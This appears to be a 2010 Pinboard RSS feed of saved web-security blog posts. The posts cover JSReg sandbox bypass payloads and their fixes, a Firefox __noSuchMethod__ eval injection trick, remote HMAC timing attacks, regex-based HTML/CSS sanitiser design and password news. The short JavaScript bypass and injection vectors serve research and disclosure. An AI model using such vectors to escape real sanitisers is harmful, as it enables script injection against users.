b=1/alert('Soroush Dalili Bypass! \n'+window.document.location);alert(window.parent.execTag())
//


So here Soroush cleverly exploits two errors in JSReg, first is the failure to strip the single line comment which then fools the regex rule into thinking that the code is a regex object and not function calls. The patch for this is displayed here I change the regex not to work in multi-line mode which successfully removes the single line comment. It isn’t an ideal fix as the regex rule still shouldn’t have matched it as a regex object but it will work in the short term until I revise the regex code.

Bypass 2 – eval object type hack

b='x='+String([eval])+';window.parent.execTag();'
y=eval([b]);


Another clever trick, the string is placed inside of an array and when the eval function is called it used to check the object type if it was a string then it rewrote the code if not it was assumed to be a already rewritten string however I didn’t expect an array to be used in this context so this would effectively bypass the sandbox. The fix for this one was to check specifically for a function object or rewrite the string.

I challenged many security researchers to break this sandbox and only a few have succeeded, I admire their skill and dedication. I would like to thank Soroush Dalili for taking the time to break JSReg and show some obvious excellent js sandbox skills. 
]]></description>
<dc:subject>hackvertor javascript JSReg Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:57432c642e8f/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:hackvertor"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:javascript"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:JSReg"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://rdist.root.org/2010/07/19/exploiting-remote-timing-attacks/">
    <title>Exploiting remote timing attacks</title>
    <dc:date>2010-07-19T20:19:20+00:00</dc:date>
    <link>http://rdist.root.org/2010/07/19/exploiting-remote-timing-attacks/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[We’ll be giving a Blackhat talk on exploiting remote timing attacks. Our goal is to convince developers that this class of attack is exploitable and worth fixing. This article in Computer World gives a decent background.

The attack is very simple. You repeatedly send guesses about a secret value to the server, which rejects them as incorrect. However, if your first byte of the guess is correct, it takes a very slightly longer time to return the error. With many measurements and some filtering, you can distinguish this difference.

While any comparison against a secret is a potential target, we chose HMAC comparison for a few reasons. An HMAC is a message authenticator, similar to a digital signature. The primary difference is that the the verifying party must keep the true HMAC secret since it gives the attacker the correct authenticator for their forged message. HMACs are used in many protocols, including most web authentication frameworks such as OAuth and OpenID and HTTP session cookies.

Guessing the correct HMAC for an arbitrary message is game over for these authentication frameworks. The token grants access to resources or allows the attacker to assume a user’s identity on various websites.

This is not a new attack. Remote timing attacks on OpenSSL were shown to be practical in 2003. Further research in 2007 showed that differences as small as 20 microseconds over the Internet and 100 nanoseconds over the LAN could be distinguished with about 1000 samples.

We (and others) have been reporting these flaws for over a year and raising developer awareness. In 2009, we found a timing leak in Google Keyczar‘s HMAC verification that was quickly fixed. Coda Hale found a similar flaw in Java’s MessageDigest implementation. The OAuth group discussed his bug back then and some maintainers decided to fix it in their code too. But many didn’t.

A quick review of OAuth and OpenID implementations showed many had timing leaks that were  potentially exploitable. Either developers knew about the bug and gave  it a low priority or they weren’t aware of it. Either way, we thought  some concrete research was needed to show exactly how easy or hard it was to exploit these  flaws in various environments.

Exploiting timing attacks depends on extracting a timing difference from many samples by filtering out the effect of noise. If there is too much noise (the difference is too small), this attack may take too long to be practical. But an attacker who can control the environment to decrease noise (say, by blocking competing users of the server), accurately model the noise and thus filter it better, or just wait longer because their target is so valuable might be successful.

Our talk builds most closely on the Crosby 2007 paper mentioned above. We have tested many configurations to find how different variables influence an attacker. The most obvious analysis is how small a time delta can be distinguished for a given number of samples. This was performed from various vantage points (guest-to-guest VM, LAN, Internet) and for various languages (C, Python, Ruby, Java, etc.)

We applied various filtering methods to the samples to see how much unfiltered jitter remained. This would determine how small a difference could be distinguished. We added in other variables such as competing load, power management, and other factors.

The talk will have the full results. Both the proponents and skeptics should be surprised in some way. We have found some configurations that are almost certainly not exploitable and others that certainly are. If you’re the maintainer of a software package, don’t count on your users being safe from timing attacks because of your assumptions. Cryptographic software, especially open-source, is deployed in everything from slow embedded servers on up to multi-Ghz clusters.

Likewise, attackers often have a better vantage point than you’d first assume. With shared hosting providers and cloud computing, you have to assume attackers can locate themselves on the same host as their target. Even in a shared datacenter, you may assume the attacker has a LAN-equivalent vantage point.

Given that it is difficult to rule out timing attacks and the fix is so simple, we think it’s best to fix them proactively. The approach that is easiest to gain assurance is to use a constant-time compare function. (That post also gives reasons why other approaches don’t work or are too complicated to verify).

We hope our talk will give some concrete results so that more developers will take this flaw seriously. See you in Vegas!

       ]]></description>
<dc:subject>Crypto Hacking Network Protocols Security</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:d8f7cece2bf9/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Crypto"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Hacking"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Network"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Protocols"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.thespanner.co.uk/2010/06/09/can-all-mozilla-people-look-away-now-please/">
    <title>Can all mozilla people look away now please</title>
    <dc:date>2010-06-09T13:36:13+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2010/06/09/can-all-mozilla-people-look-away-now-please/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[Custom setters syntax are being removed from Firefox in the next version.. boo I here you say well at least some of you. If you don’t know Firefox decided it would create it’s own setter syntax (I love it when you do that you know) ages ago and it looked something like this:-


a setter=alert,a=1//calls alert(1)

Whacky indeed. They decided to remove it. So I was messing with JavaScript like I do near enough every day and I stumbled upon this:-


Object.prototype.__noSuchMethod__=function(s){ alert(s); };
1..*(1)

What was surprising was that “alert” returned “*” not 1 as you would expect. The crazyness then continued:-


Object.prototype.__noSuchMethod__=function(s){ eval(s); };1.['alert(1)']()

Not looking at MDC and still not understanding why this was happening Mario pointed out “oh it’s sending the name of the function via the noSuchMethod” then big doh moment oh yeah. But then that means…..we have a new setter syntax!!!!


//existing code
function x(s) {
  eval(s);
}
//our evil injection
Object.prototype.__noSuchMethod__=x;new/a/['alert(1)']

If you work at Mozilla please look away now because I like this crazy syntax so don’t fix it.
]]></description>
<dc:subject>Firefox Security javascript</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:016c74ba852c/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Firefox"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:javascript"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://voipsa.org/blog/2010/06/07/linux-crash-on-a-plane/">
    <title>Linux crash on a Plane!</title>
    <dc:date>2010-06-07T17:33:28+00:00</dc:date>
    <link>http://voipsa.org/blog/2010/06/07/linux-crash-on-a-plane/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[I don’t travel nearly as as much as I used to, yet when I do I always keep a sharp eye out for the technical glitches in devices around me in travel environments.  What can I say?  It provides me endless amusement.



While Linux boxes crashing in airlines’ on-board entertainment systems are nothing new, and several photos exist on the Internet depicting these crashes, I’m seeing something different these days…

On my way back from ph-neutral security conference in Berlin, I took a Continental 757 back to the US and observed the passenger entertainment system headrest in the row in front of me was frozen on the the movie selection GUI.  The passenger in that seat asked the flight attendant to fix the problem and the headrest PC was rebooted from somewhere up front.

So, the funny (and a bit scary perhaps) bit is the screenshot I took of the reboot process.  You can see the very high resolution photo here: http://tinyurl.com/linuxonplane

Observations from the linux crash on a plane photo:

1.  172.17.X.X private IP address range

2.  FTP server IP address and transfer of system log tarball to the FTP server…user is “xxxxx” — imagine what the password might be…

Some reasonable concerns:

1.  Tilting up the headrest PC and peeking behind it I saw CAT-5 cable.  With a small tool or hands, and big cajones, an attacker *could possibly* unplug that cable and attach it to a laptop and hop onto the entertainment network.  In addition, with some imagination and the right tools, an attacker could feasibly take over some or all aspects of the headrest PCs, including perhaps the sniffing of credit cards used by patrons, or even adding some specialized content…

2.  This aircraft did not have on-board wireless Internet access, but I suspect that some airlines offering this service could have network crossover connectivity to different subnets, or perhaps only relying on VLANs for separation.

In the end, we can only hope that of the several networks likely running on a modern passenger jet, that true air-gapping is taking place and these systems are in no way connected to critical on-board networks.  Time will tell if this is indeed the case.  In the meantime, keep an eye out for those Linux boxes crashing on planes!
]]></description>
<dc:subject>Miscellaneous Platform_Security Security VoIP_Security linux_crash_plane_phots</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:368ce616033d/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Miscellaneous"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Platform_Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:VoIP_Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:linux_crash_plane_phots"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://blogs.computerworld.com/16218/tabnapping_dont_be_scared_of_new_phishing_trick">
    <title>Tabnapping: don't be scared of new phishing trick</title>
    <dc:date>2010-06-02T12:08:08+00:00</dc:date>
    <link>http://blogs.computerworld.com/16218/tabnapping_dont_be_scared_of_new_phishing_trick</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[In this week's Security Levity, I want to address the fears raised about a new phishing trick. Dubbed tabnapping, it was recently dreamed up by Mozilla's Aza Raskin. Commentators around the web are worrying about its potential. But is the sky falling? No! Let's see why...

read more
]]></description>
<dc:subject>browser enterprise phishing reputation reputation_service security tabnapping web_browser web_filter web_filtering Cybercrime_&amp;amp;_Hacking Emerging_Technology Government_&amp;amp;_Regulation Internet Networking Security_Hardware_&amp;amp;_Software Web_Apps</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:2d1ab5c1de39/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:browser"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:enterprise"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:phishing"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:reputation"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:reputation_service"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:tabnapping"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:web_browser"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:web_filter"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:web_filtering"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Cybercrime_&amp;amp;_Hacking"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Emerging_Technology"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Government_&amp;amp;_Regulation"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Internet"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Networking"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security_Hardware_&amp;amp;_Software"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Web_Apps"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.thespanner.co.uk/2010/05/05/regular-expression-sandboxing/">
    <title>Regular expression sandboxing</title>
    <dc:date>2010-05-05T13:15:20+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2010/05/05/regular-expression-sandboxing/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[Birth of the regex sandbox
I decided today to do a proper blog post to explain my reasons for creating regex sandboxes. I don’t often write a lot of words on this blog partly because I’m not very good a making long meaningful sentences and partly because I think the point can often be made in less words. Hopefully this will be useful for someone writing filters.

First off a quote “You can’t parse [X]HTML with regex. Because HTML can’t be parsed by regex. Regex is not a tool that can be used to correctly parse HTML” from (stackoverflow). I agree with the comment it isn’t possible to fully parse HTML with regexes but my goal wasn’t to do that, I wanted to parse a safe form of HTML. I also have a uncontrollable urge to do something that people say can’t be done.

Now we have that out of the way, how did this all begin? Well I was building a char by char JavaScript parser inside JavaScript to allow untrusted code to be executed. Every time I wrote a simple string matching function I found myself making shortcuts and using regexes instead. For example why loop through all characters when you can whitelist the desired ones? I soon found that I had a great advantage of using regexes instead of parsing every character, because I could use the native JavaScript engine to help me. 

This lead me to develop JSReg [1], at first it seemed very easy to match JavaScript, the numbers were pretty easy and strings but I then encountered one of the first problems of regex sandboxes. It is very difficult to match something that is matching itself, for example an array can contain pretty much any JavaScript statement and itself but if you are defining it how can you match it? I didn’t really have an answer to this, one of my solutions to this problem was to create a recursive regex that created a second compiler to match inside the first match and so on. But this was slow and because JavaScript doesn’t have lookbehind previous matches would eat characters in the next match (I’ll talk more about this in the design). My other idea was to use backreferences but these are very difficult to track when using multiple regexes and they only return a successful match in my tests it wasn’t possible to produce a perfect array match using backreferences. I could be wrong of course I know I’m not perfect.

The design
My basis of my design was to not rely on 3rd party code were possible that means no jquery etc, in addition I should employ multiple layers of security wherever possible. These were good design decisions. Throughout initial testing the multiple layers proved difficult to break down. For JSReg the first layer was an iframe, the iframe was created each time of execution enabling fresh prototypes and a throw away box once execution had finished. Then I whitelisted the entire JavaScript objects/properties, this was done by forcing all methods to use suffix/prefix of “$”. Each variable assignment was then localized using var to force local variables. Each object was also checked to ensure it didn’t contain a window reference. 

Javascript arrays proved tricky as mentioned earlier because of the amount of code that can be included within them, initially I decided to try and match them and their contents. But there were several performance problems of matching all that code and JavaScript regex limitations. For example I use one regex with a replace function to globally match each sequence using groups, the idea is to match all the valid objects first. In the instance of an array you’d first match all regex objects, strings etc because they can contain a “[" and "]” then once all valid objects have been enumerated by the regex engine it will encounter the first “[" of our array. 

This works well in practice for every object apart from arrays. In JavaScript the array literal shares the same syntax as the object accessor. Therefore you have to identify the difference between an array or object. Sounds easy?


[][0[0,0[0]]];
+[][0[0,0[0]]];
{}['I am an array']
~{a:0}['I am a object accessor']

As you can see with the samples above, you’d have to match the entire js syntax before the opening “[". Then if you don't match the entire sequence inside the array you won't know if the ending "]” is part of an array sequence or object. This problem was unsolved for a long time. The main reason was in order to protect against window references I rewrite object accessors like obj['abc'] to obj[JSREG_FUNC.gp('abc')] so the function returns a safe string which uses the prefix/suffix of $ e.g. abc becomes $abc$. Because a string is returned of the expression it would break an array if it wasn’t detected.

Detecting an array or object was difficult because of the design too, you see if a regex object is matched like /abc/ and is followed by a object accessor like /abc/['source'] the previous expression is eaten by the parser so the next match is effectively ['source'] which JSReg understandably thinks is an array. A simple way round this would be to lookbehind to see if a whitelist of characters make the opening “[" an array or not. But JavaScript doesn't support lookbehinds!  

The simple workaround was to use Array(1,2,3) instead for arrays and assume all "[" and "]” were not arrays. This worked but it breaks existing code. Finally after many attempts I think I’ve come up with a solution. I store a list of previous matches and rewrite all array literals and object accessors into a function or method. This means I no longer need to detect the ending of the array as they both have a “)” instead of a “]”. Easily demonstrated with a code example:-


[1,2,3] //becomes:-
A(Number(1),Number(2),Number(3))

window['x']//becomes:-
$window$.JSREG_PROP('x')

Finally as part of the design I check the JavaScript syntax before and after conversion this provides another layer of security if the rewrite fails at any part of matching the code.

The code
JavaScript is difficult to match but I found HTML/CSS easier. At first I started the code for HTMLReg [2] and CSSReg [3] in a similar way to JSReg. Then I realized when hacking my own code how I could make it better to defend against attack. First off I employed a strict whitelist to remove any partial open HTML attacks and evil attributes that were obvious attacks. This means I didn’t stick to the HTML specification, I don’t allow any junk in attributes. For example if you want to include “<" or ">” inside a title attribute then you have to encode it. I may allow them in future if it can be proven safe but I’d rather not fight something I can’t win. You may disagree with what I’ve just said but your filter is probably being pwnd right now.

Once I had my whitelist of tags and attributes I constructed RegExes for any individual parts I wanted to match. For example text nodes, invalid tags and valid attributes, these would be nicely chained together in one big regex. Then each part is grouped so that you can match each expression and validate it.

Here is how it works:-


html.replace(mainRegExp, function($0, $styleTag, $tag, $text, $invalidTags) {}

Notice how I use the replace function, I don’t do html = html.replace because I only want to match the text in my regexes. I prefer to use replace because I have a nice reference to each group like this automatically with local variables. This was a lesson I learned from developing JSReg as if the replace fails it will return your plain code rather than rewrite it.

Inside the function I include a couple of things in each block I’ll use the text node as an example:-


if($text !== undefined && $text.length) {
output += $text;
parseTree+='text('+$text+')\n';
}

Here if the text node is matched it adds it to the output. Parse tree is a nice way of keeping track of what you’ve matched. It’s a useful debugging reference. The if statement is required because of browser inconsistencies when matching groups.  

In the case of HTMLReg for performance reasons I have a whitelist to match a general tag, then inspect it further so I’m only matching a smaller amount of text.  You can see that with the following code:-


if($tag !== undefined && $tag.length) {
  if(!new RegExp('^<\\\/?'+allowedTags.source+'[\\s>]','i').test($tag)) {
return '';
 }
parseTree+='tag('+$tag+')\n';
if(!/^<\/?[a-z0-9]+>$/i.test($tag)) {
  $tag = parseAttrValues($tag);
}
output += $tag;
}

Once my tag has been matched I then start to parse attributes, I do this by creating a hidden div and reading it’s contents. This is cool for a number of reasons, we can read what the browser reads and our code automatically gets formatted. Because we then use the DOM it means our entities will be decoded for us. While testing I found that JavaScript won’t be executed using innerHTML without certain tags or attributes, if I whitelist the tags and attributes then I can use the innerHTML safely without having to worry about execution. I have a backup plan if this fails, I could be more strict with certain attributes if it’s possible to execute code.

Onto CSSReg! It didn’t exist nor did I think it was needed as I thought I could rely on the browser to ensure multiple CSS rules didn’t cross over from single CSS dom rules. I was wrong. It was proven by many talented researchers (mentioned in the thanks section) that it wasn’t possible to get the browsers to rewrite CSS safely. I had to write another regex sandbox. This time it wasn’t as tricky as first appeared. As long as I didn’t try to follow the madness of the specification again I should be able to produce some CSS that was safe from malicious code yet is useful enough to use.

First off I gathered a list of properties and identifiers, I removed crappy browser specific extensions yeah they are bad. ALL OF THEM. Then I used the same method of HTMLReg to match each part, the trickiest part this time was urls. There are so many ways to escape a css url in every browser, you have to handle backslash escapes, entities, new lines and backslash hex escapes. The best way I came up with was to whitelist the url first, match everything in-between () and then decode and escape every character that didn’t match the whitelist. 

This made it pretty safe across multiple browsers. But there was a problem, some browsers decoded the CSS even when it was sandboxed correctly e.g. one attack I found was to triple encode the character and the browser would decode the entities and escapes until it produced it’s mangled version of CSS which broke the sandbox. To get round this I created a custom attribute which didn’t match my whitelist “sandbox-style” this allowed CSSReg to store it’s correctly sandboxed style, I used a custom attribute outside of the whitelist to prevent injections of sandbox-style. Once my CSS was stored correctly I could then match it again and rename it back to style which was then returned correctly. 

All this trouble was because I wanted the browser to handle invalid HTML for me, any unclosed HTML tags would be automatically closed by the browser engine for me  

Finally in order to handle selectors I stuck to very simple syntax, either #someid or .someclass and allowed multiple like .someclass1, someclass2 {} this prevents CSS injection based attacks and well as making it easy to parse. Once each selector was matched I restrict which tags are allowed and prefix a application ID to prevent HTML/CSS crossing across sandboxes. I then check if a selector is matched before opening or closing one.

I hope you’ve enjoyed this post as it’s a break from what I normally do but I thought it would be worth the effort to get together as I’ve found some of the concepts the best way to code a solution and hopefully you’ll find it useful.

Thanks
I would like to thank Dave Ross as I was heavily inspired by him especially with the multiple regex references chained together. Eduardo Vela aka “sirdarckcat” for his awesome (?:HTML|JS|CSS)Reg hacks. Juriy Zaytsev aka “kangax” for his excellent input in detecting parsing flaws with JSReg. Kyo for breaking things without even trying. Theharmonyguy for breaking HTMLReg classes and spotting comical spelling mistakes by me. LeverOne for breaking HTMLReg and CSSReg with some quite simply awesome and evil vectors. Mario Heiderich aka “.mario” for making regex objects look insane and provide great input for JSReg and breaking HTMLReg. David Lindsay aka “Thornmaker” finding JSReg parsing errors with ternary operators. Stefano Di Paola for smashing the JSReg stack and proving that non-mortals exist. Achim Hoffmann for providing valuable JSReg input and everyone else who has helped me test and develop JSReg & others.

[1] JSReg
[2] HTMLReg
[3] CSSReg
]]></description>
<dc:subject>CSSReg HTMLReg JSReg Security javascript php xss</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:905b8d6164ee/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:CSSReg"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:HTMLReg"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:JSReg"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:javascript"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:php"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:xss"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/egbQzPT2NAA/googles-authentication-code-stolen-in-attacks">
    <title>Google's Authentication Code Stolen in Attacks [Security]</title>
    <dc:date>2010-04-20T11:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/egbQzPT2NAA/googles-authentication-code-stolen-in-attacks</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[

Need a good motivator to use different passwords for each site and pick passwords that aren't easily hacked? How about learning that, during the January security breach in China, Google's password and authentication system, "Gaia," was compromised by hackers. Google states that the intruders didn't get access to actual passwords, and they've been moving swiftly to make changes to Gaia ever since, but having access to Google's Gaia source code could pose problems to the search giant down the line—and users who once believed at least one cloud-based server system was mostly unbreakable.More »





   
]]></description>
<dc:subject>Security Authentication Fb Google in_brief Passwords tweet</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:650bddb3e4b2/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Authentication"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Fb"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Google"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:in_brief"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Passwords"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:tweet"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.thespanner.co.uk/2010/04/15/htmlreg/">
    <title>HTMLReg</title>
    <dc:date>2010-04-15T10:34:07+00:00</dc:date>
    <link>http://www.thespanner.co.uk/2010/04/15/htmlreg/</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[Yeah you knew it was coming. This was easier than JavaScript parsing because I can use both the HTML and CSS renderers of the browser to make sure I can parse the code safely. So really this is CSS/HTML reg, I don’t support the style tag yet but that shouldn’t be difficult as I can just write a RegExp to match the style and contents then parse each rule.

How did I do it? With very little code of course, I use a restrictive RegEx to get the actual tags and attributes then using the DOM I make the browser render the attributes and read each one and delete the actual attributes and styles, then I put each rule and attribute back using a whitelist. 

I remove any nodes that aren’t legal or malicious, the text portion of the node uses a whitelist of allowed characters and does not allow “<" or ">” this stops partial HTML attacks. Finally to clean up I let the browser render the HTML code for me and rewrite some make it prettier than others.

HTMLReg demo

Remember real men use JavaScript.
]]></description>
<dc:subject>HTMLReg Security javascript</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:224a82e9d33a/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:HTMLReg"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:javascript"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/ij0H-YHR5AU/shift-your-fingers-one-key-to-the-right-for-easy+to+remember-but-awesome-passwords">
    <title>Shift Your Fingers One Key to the Right for Easy-to-Remember but Awesome Passwords [Passwords]</title>
    <dc:date>2010-04-13T19:30:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/ij0H-YHR5AU/shift-your-fingers-one-key-to-the-right-for-easy+to+remember-but-awesome-passwords</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





You're constantly told how easy it would be to hack your weak passwords, but complicated passwords just aren't something our brains get excited about memorizing. Reader calculusrunner offers a brilliant tip that turns weak passwords into something much, much better.More »





   
]]></description>
<dc:subject>Passwords Keyboards Republished Security Shortcuts Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:8133298d1c3b/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Passwords"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Keyboards"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Republished"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Shortcuts"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/vbsESzowd4M/mandatory-password-changes-costs-billions-in-lost-productivity">
    <title>Mandatory Password Changes Costs Billions in Lost Productivity [Passwords]</title>
    <dc:date>2010-04-12T15:00:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/vbsESzowd4M/mandatory-password-changes-costs-billions-in-lost-productivity</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Big enterprises that force their workers to change their access passwords on a regular basis, and adhere to complex rules when they do, might be their own worst enemy. At least that's how Boston Globe editor Mark Pothier sees it, and he cites a Microsoft research paper as part of his argument against that and other seemingly perfunctory IT rules. We prefer using a solid root password and subtle variations to implement secure passwords, along with easy-but-secure browser tools. What does your own office require of your passwords, and do you think it helps or hurts? [Boston Globe via Gizmodo]More »





   
]]></description>
<dc:subject>Passwords Annoyances in_brief IT_Lockdown Productivity Security Work</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:6ea32df27072/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Passwords"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Annoyances"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:in_brief"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:IT_Lockdown"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Productivity"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Work"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/vKdaF9uHpVU/gmail-detects-and-warns-you-if-someone-else-is-using-your-account">
    <title>Gmail Detects and Warns You If Someone Else Is Using Your Account [Gmail]</title>
    <dc:date>2010-03-24T17:15:00+00:00</dc:date>
    <link>http://feeds.gawker.com/~r/lifehacker/full/~3/vKdaF9uHpVU/gmail-detects-and-warns-you-if-someone-else-is-using-your-account</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[





Gmail launched a new feature this morning designed to detect suspicious activity in your account and notify you when a suspicious login has occurred in your account.More »





   
]]></description>
<dc:subject>Gmail Email Google Privacy Security Top</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:59ea53455176/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Gmail"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Email"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Google"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Privacy"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Top"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.pluralsight-training.net/community/blogs/keith/archive/2010/03/18/labs-for-my-attack-defence-talk-today-at-devweek.aspx">
    <title>Labs for my Attack/Defence talk today at DevWeek</title>
    <dc:date>2010-03-18T13:53:00+00:00</dc:date>
    <link>http://www.pluralsight-training.net/community/blogs/keith/archive/2010/03/18/labs-for-my-attack-defence-talk-today-at-devweek.aspx</link>
    <dc:creator>hanicker</dc:creator><description><![CDATA[For those who were in my talk today, I mentioned that the SQL injection and XSS demos are actually labs that you can find on the Internet.

Here's links to them. I built these for Patterns & Practices a few years ago.

http://channel9.msdn.com/Wiki/SecurityWiki/InputValidationTrainingModules/

There's more here than just the two I mentioned - enjoy!

Keith
]]></description>
<dc:subject>Security Geek_talk Identity ASP.NET</dc:subject>
<dc:identifier>https://pinboard.in/u:hanicker/b:12db7592492a/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Security"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Geek_talk"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:Identity"/>
	<rdf:li rdf:resource="https://pinboard.in/u:hanicker/t:ASP.NET"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://feeds.gawker.com/~r/lifehacker/full/~3/vD2K_FqjTmU/run-your-own-free-proxy-through-the-google-app-engine">
